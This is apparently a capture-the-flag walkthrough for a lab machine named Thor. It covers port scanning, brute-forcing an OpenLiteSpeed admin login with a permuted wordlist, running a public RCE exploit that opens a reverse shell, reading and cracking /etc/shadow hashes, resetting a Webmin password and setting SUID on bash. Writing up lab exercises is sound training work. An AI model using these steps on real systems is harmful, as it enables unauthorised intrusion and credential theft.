$ nmap -p- --min-rate 3000 -Pn 192.168.201.208
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-15 11:13 +08
Nmap scan report for 192.168.201.208
Host is up (0.17s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
7080/tcp open empowerid
10000/tcp open snet-sensor-mgmt
At the bottom of the page, there was some contact details:
The box was named Thor, so it makes sense that there would be something 'Thor' related. From the earlier nmap scan, we know that port 80 is running using Litespeed. Port 7080 is the LiteSpeed admin console, likely operated by this Jane Foster.
One of which is an RCE exploit, but it requires credentials. Weak credentials don't work here, so we need to get crafty. We know that 'Jane Foster' is the one operating this webpage. So let's create a custom wordlist present.
I tried to use Hydra to brute force this, but it didn't work either. I took a hint and it told me to keep brute forcing, so in this case we can try the permutation of words within our wordlist file.
import itertoolsfilename ='wordlist'permutations = []withopen(filename, 'r')as file: wordlist = [line.strip()for line in file]for combination in itertools.permutations(wordlist, 2): permutation =''.join(combination)print(permutation)
This would combine two of the words together. Then, we can brute force again with Hydra.
This would find the correct password. We can then use the RCE exploit:
$ python3 49556.py 192.168.201.208:7080 admin Foster2020 shadow
[+] Authentication was successful!
[+] Version is detected: OpenLiteSpeed 1.7.8
[+] The target is vulnerable!
[+] tk value is obtained: 0.51264900 1689392604
[+] Sending reverse shell to 127.0.0.1:4444 ...
[+] Triggering command execution..
Privilege Escalation
Shadow Group -> Thor Creds
We are part of the shadow group, meaning we can read /etc/shadow:
We can try to crack the hashes alone using john for these users. The hash for thor can be cracked while the one for root cannot.
$ john --show hashes
?:valkyrie
1 password hash cracked, 1 left
We can then ssh in as thor:
Sudo Webmin -> Webmin RCE
thor can restart the Webmin instance as root:
thor@Lite:~$ sudo -l
Matching Defaults entries for thor on lite:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User thor may run the following commands on lite:
(root) NOPASSWD: /usr/bin/systemctl restart webmin
Using our access, we can actually reset the Webmin password.
However, it appears that only the bin group has access to the /etc/webmin group:
thor@Lite:~$ ls -la /etc/webmin/
total 536
drwxr-xr-x 116 root root 4096 Jun 7 2022 .
drwxr-xr-x 101 root root 4096 Jul 15 03:43 ..
drwx--x--x 2 root bin 4096 Jun 7 2022 acl
drwx--x--x 2 root bin 4096 Jun 7 2022 adsl-client
drwx--x--x 2 root bin 4096 Jun 7 2022 ajaxterm
<TRUNCATED>
Earlier, the RCE exploit for OpenLiteSpeed required us to specify a GroupID, of which I specified shadow as the default. We can try specifying bin and using that shell to reset the password.
$ python3 49556.py 192.168.201.208:7080 admin Foster2020 bin
[+] Authentication was successful!
[+] Version is detected: OpenLiteSpeed 1.7.8
[+] The target is vulnerable!
[+] tk value is obtained: 0.02467200 1689393257
[+] Sending reverse shell to 127.0.0.1:4444 ...
[+] Triggering command execution...
Then we can reset the password and restart Webmin as thor:
nobody@Lite:/usr/bin$ /usr/share/webmin/changepass.pl /etc/webmin root toor
Updated password of Webmin user root
Webmin is not running - cannot refresh configuration
thor@Lite:~$ sudo /usr/bin/systemctl restart webmin
Using this, we can login to Webmin and view the dashboard:
Within Webmin, there's a >_ option, which spawns a command line instance within the browser:
We can just do chmod u+s /bin/bash, and get a proper root shell using ssh.
